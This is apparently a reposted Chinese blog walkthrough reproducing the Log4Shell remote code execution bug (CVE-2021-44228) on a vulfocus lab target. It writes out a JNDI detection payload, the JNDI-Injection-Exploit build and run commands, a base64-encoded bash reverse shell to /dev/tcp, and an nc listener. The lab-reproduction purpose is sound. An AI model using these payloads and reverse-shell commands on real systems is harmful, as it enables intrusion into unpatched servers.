[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

admin 2022年11月11日18:52:07SecIN安全技术社区[漏洞复现]log4j漏洞RCE(CVE-2021-44228)已关闭评论66 views2733字阅读9分6秒阅读模式

文章源自于个人博客: http://vfree.ltd/

2021/12/09,阿里云安全团队向apache报告了由log4j日志引起的远程代码执行,12月10日,当天白帽跟提前过大年似的,疯狂刷src(利用超级简单),让部分src平台暂时停止收类似该漏洞,凌晨,很多程序员和安全员被迫起来应急响应,几乎市面上的大厂都受到了该漏洞的影响

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

这里做一个复现学习的小文章,由于对java这方面的知识雀食是薄弱,而且本地复现时,出现了挺多问题,在本地复现时,不知道是什么原因,利用payload去打的时候,总是说loggxxx模块不存在...idea也犯毛病...果断直接用网上的靶机去复现一波

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

1.漏洞信息

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

1.1漏洞描述

apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失1.1漏洞描述

2.受影响组件

根据网上公开的信息来看,目前一下组件是已知搜受影响的插件

  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

3.漏洞靶场

4.dnslog platform

5.漏洞复现

测试POC:

如果是仅作是否存在该漏洞测试,使用这条payload即可

payload: ${jndi:idap://[这里填写在上面提到的dns platform 中获取到的dns域名]}

5.1 本地测试

本地测试: Github: https://github.com/fengxuangit/log4j_vuln

5.2靶场复现---vulfocus

这里以vulfocus靶场进行复现,本文目的是为了让学习和研究该漏洞,禁用用于任何非法行为

5.1.1 复现开始

1.构造环境

最好是配置jdk1.8.0_172的版本,更高的版本可以无法利用成功
在反弹shell同时,需要在vps本地构建一个ldap服务

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

```bash
GitHub: https://github.com/welk1n/JNDI-Injection-Exploit

使用:
1.cd JNDI-Injection-Exploit
2.mvn clean package -DskipTests
3.java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"

if '提示' == 'bash: mvn: command not found':
参考文章: https://blog.csdn.net/jiangyu1013/article/details/103584140
```

使用mvn构建完成后,会在该文件夹下新建一个target的文件夹,记录该文件夹

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

2.打开靶机

访问地址根据给出的为准

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

3.访问题目

注意:题目url要加/hello,并且要以post的方式定义payload值进行传参)

即:url/hello POSTDATA:payload=xxxxxxxx

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

4. POC测试

在本文上面的第四点讲到的dnslog platform中任意找一个可用的dnslog平台获取一个dns,然后构造payload测试是否存在漏洞

payload传入成功会回显ok

Got SubDomain :获取dns
Rcfrcsh Rcord :获取目标是否有解析会回来,如果有的话,说明该站可能纯在log4j的漏洞

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

传入payload (${jndi:idap://[这里填写在上面提到的dns platform 中获取到的dns域名]})

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

回到dnslog platform查看是否有解析记录

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

如果dnslog platform返回了类似上面的内容的花,即证明该漏洞存在切可用

5.构造环境

使用到第一步搭建好的 JNDI-Injection-Exploit

在JNDI-Injection-Exploit目录下执行

bash
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]

比如这样子

bash
bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 ---> YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

bash
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx}|{base64,-d}|bash" -A 127.0.0.1
注意:根据自身情况调整payload

6.打开监听

另起终端,打开nc -lvp 端口 进行监听

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

7.Attack

vulfocus的靶机,用类似下面这个payload

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

8.成功getshell

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

6.修复建议

注意,2021/12/10 360漏洞云发布二次通告预警,官方发布的修复rc1版本仍然可以绕过,请使用该版本的的用户尽快升级至rc2

7.注意的点

所有漏洞复现文章仅供学习交流使用,禁止用于非法用途!!!!!!!!!!!!!!!!!!

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月11日18:52:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  [漏洞复现]log4j漏洞RCE(CVE-2021-44228) http://cn-sec.com/archives/752218.html